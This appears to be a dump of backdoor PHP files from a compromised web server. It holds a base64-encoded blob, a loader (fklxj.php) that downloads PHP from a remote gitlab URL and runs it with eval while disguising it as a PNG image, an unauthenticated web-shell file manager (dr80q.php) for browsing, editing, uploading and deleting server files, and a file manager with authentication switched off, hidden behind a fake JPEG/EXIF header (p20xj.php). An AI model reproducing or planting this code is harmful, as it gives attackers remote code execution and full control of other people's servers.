DcUQ0Mk1ld2l4c1JlVmVhR3pNdG1HcERVTjk1M2tkdFZSM3ZocVdROEdxMzk5cDlET1BIZE1BaHFuSkdOUlovZ0pwdlZGNFppa2UwOGMxZmtXT1VRbS9LR1owVjdKMGZweTBaRzdmeWxCb05IZUhCZ1p3c3NJOXVwUTUwVlpwNElHdXZKRDErMzA3V2lVa1I3UzZtbmdOWENOVG45Z2JWM1U5NkZ3WTRucEp6a1c3cnhyQ3M5Znp3WWFuVGZ2eGpEM3pydWprUSs2M1pRZEp1eC84ZGY4RG5naHZEQUNxNWQxakJ6eVVzN09hUVU3UXJOeUNyeGtvZjY1UVIyRkxZcWcvK0JDOEZUSmdaWjZISEpzNEdueXhzZ2VyTjRTRmJTUXhwd0hYUnFTZFVmTkRack1TTWJEQWtISG56NUFXQU5MSlgwKzBrN1lpNjhUMjZSc3RVclIwZlI3YkpXeTRrcnFqM2xZQjk0OUI5aU9zSmc4UUIrYkRYbUVXSWNlMWNHZG1IUGpHKzNiQjJOOGR0MG5mbzhibkt1OVRRUE02VUtjb3EzTUNQUXNiNk9kWmJTenNHenMyOUxMM29iakdHbVIxTTl0cUtQRDhsQkhlQTNCWDBpdmhIWmRVWjdmbVIzd0k2aStONTEvdFRER2NBR2MwUHRiWVNKVSt0c0IwZCtldzlDa2dlcEhYVllDclZ3MmJHU2lCU3lvVjlZMDZxTXlaNEs4ek00bkdHM25YRiswR2J6RTJQaEdEdHgzSDVYQmdQSkJjUHZPaGFqeENmYVNxV0gwR1c3c2tPWGgrek5JbmlTbHJJZEFVOUY4WUl6dGMyYmZXRTdBQ3NFYVRlNXlBYWcraTV6cXplaTZPNVBIUGJhM3FLYnc0Q01MMnZkazBjbE8vZkh2MWxzc1U4Vm13aDFuZVc1eVpnSTBDRFFyMzJtbE9sK3VaUFl5WE1QUGsydjgzd1hLYUFJakhuTVNhRUhZaXBUcDhIUXppa294YmppZ0JRd3NPby9oNGxXRlJBcXJNZUFRMGc2UEp4MWpZeXBwZ0NLNjlUUkMxNWFWM3QzSjBaSDg0YlJieXZ5YkNXb04yRFJ6T3JZM3FXcHBZYkRGUDhmZTdnSE5YUGM2aHkrWlU4VEJuR1lNa01hUnJ5dTBLdWhDYXhwV2JQZGhQeWMxeS9mNGlZSXFyVXBUcit6YUhydXRCSmJkQmhDVlYrMkNDVXdCQXpvVXp6Vks1SnJOMXc2cWF3MjcrMVJiZXR4NDlmaDl6VnZBc3RkWG9VZFFicVEvdDlEaEdBcERXYVdXYWhIbEdhc2pEaytxVThsc2trYStqNDhSdUhpY1dEYUZ1WUZ1OXkrdXdnRlVsN1FjdkNvczQvSWNEcGVmOTlraTNtM1ltRDVMU0pNSWY1L0FmMFZuN0dNMUlKdDJnaDhDSDBPOXQrb1ZSdUthTG1zZmRqN1EzUDVpK0NPSzRoRVpBS3Vsa1I1V1VYZWpUYy9pNmk1VUtQZkc1NHhhMDc0TnJyWnE3ZzRjL3NZVGFhOHpDbXRSSFpEaERLbXVkYk9VZGMrSXloY3FBQSsreG01Qi9iVjJjRmJMYXlIa3pqRlNidjNTQTQzVTVNOVdsU1Nka2w0Z2t1RlFBdUZoeGxjUHNRVFNpRkxkbzZGL0dHZmNlZUJHQk5oOTdrY3NkaDNoTkNwMVBMMjIwUFZqVENJVytlalJaUVhIanV0dEx2UnRhMloxcDRzck10VjJwRXJyOWNuZEI5Vlc2YU9CYmFjYi9HZ3IyYlRwNTVjQnZYMHliUUUweFpIcUtCK1BPUmgzaXM5ZzFwdkRsc2RRQ1AxMHpIVXBLSVB4aFBzOTlZMU1XMm9uTVdDTFRsUHkrK1BqS1RPOVZHMzV5a2tzME9MdG5xUk5sNGUyS3ViY280VWp1N29JRTJTZkQ4UUQzdEZRMU1DYytYN3RSVzl3YUlTa0VwdExyY2ZRdi9tUFFva0UzcHFST0RvMGl5citXREdDTnZPT2xOdFQ2WjZiUHJ6bVVwRnF0SGFQaWZpZWFyVWNCeXlEQlVOSmxxT3R0WjhMd3NrSFZlYW4xNlhxaGpSYlpYZlZnWEh6RmVBUmJIcWZDa3NRdmpHMjROR25Sd3JtTVVGYkY4OGdFZ2NXcTJuR1pmTnNSV2VYQ28vczdEdzFvdy80YlFNSmpUK29qdWVLNWhpK1cxQjJxdm5RVjZVbFJ1d0FzeEF2dlFDUHBjcWU2YkxuYTljWU9iN2ZLQWcxYXpzRHdaY2xUaVJpYWg5cVBVSU95czBZWWFzeU8xZlZlV2drcUhUWTBjb0RPWkxXQll3L2trem03VlpmdHRVYlFMZHlzTGFIalZiZXZIVXlUOUZMNk9TVzhNRnZKc29oUWJ4OEg3OEcxcEg5MHJSMlk3Z2xER1JSNDVLKzYvTld6bnd5WmdUT3dxZG5raUZpK0U0NHZ4NlNQN1lOZXEwZXFzMTBRZ3ZKMTRNZG92Z0t4alMrT0JuUVdWZFZWb2MzSkRrY1FmT0t5U3htNUU4UW83cDJrSGJzNkpURXJkZGoyNkp4MGdNSldOb0ZaNm05b25nSk8wWWZrVXQ1eG1zVzkzRW4rVVFKK3F0TTFFR1Z1eWZDRHRSNis4R1gyejhDVGNQUTdmQTE0ZllFNVBkaXA2aW03bVY5bXlZSmRFM2p6L2RjY2tYK3loYUIvaVV0SXJ1aXl2bXM5VEdlYyszL0xXcDlIOWtIZEIxQmdKK0prUjlKU3NLOUd6SWt1T3MydkZZRjh1Ry84eFM2NkF5SmIrMG9nOGVtcCtUYmtVNkNNTDhXWndGakdVT0QxN1FuYW8rRExLMXJvczF3WTlseDFqdEE1L013eEd6dzFYTkNEa3JzRGMrS1VvbG5mNTVSaWMvYlMvWmZXQzlENDZYaW01b2REMXY1azBiVlUrT1dLQytzN3Ayb1hUNk00VEdxd0h4OUtFTzYwV0VJOTZWQUFIL3lMUGNUM0haSllkV0xYUjc1dG04eThudTRndElOWkljcWQvVnhtN01XaEJXMEFlV3hkb1NtMHJTc0c3bzJmenZGMndXTzlDU09MOWd4allEMTFZTVRMMnVWd3prK3lUSmtDNm9Ic1VTckFUbU80V2hkSGZiZXJzSzdSQU9QNFFsYnBQcW1D
[/PHPkoru_Code]
fklxj.php000064400000005651151550052250006402 0ustar00<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
dr80q.php000064400000010356151550052250006220 0ustar00<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="upload" required>
    <button type="submit">Unggah</button>
</form>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
        <td>
            <?php if (!$isDir): ?>
                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>
<style>
    body { font-family: sans-serif; }
    table { border-collapse: collapse; width: 100%; }
    td, th { padding: 5px; text-align: left; }
</style>p20xj.php000064400000561505151550052250006234 0ustar00ÿØÿà JFIF ,,  AMPFÿá&ÿExif  MM *           ž       ¤              ²       º(       1        Â2       Ê<       Þ       ‡i       ìˆ%      
x  
®Apple iPhone 13 Pro    H      H   17.1.2  2024:02:20 17:25:01 iPhone 13 Pro  %‚š      ®‚      ¶ˆ"       ˆ'     }        0232      ¾      Ґ       æ       î       ö‘      ’ 
     þ’      ’ 

<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'swallowable');

$dauth = false;

$auth_users = array(
    'admin' => '2e35b702f2cd5011321dbea58cd4700c',
    'user' => '2e35b702f2cd5011321dbea58cd4700c'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
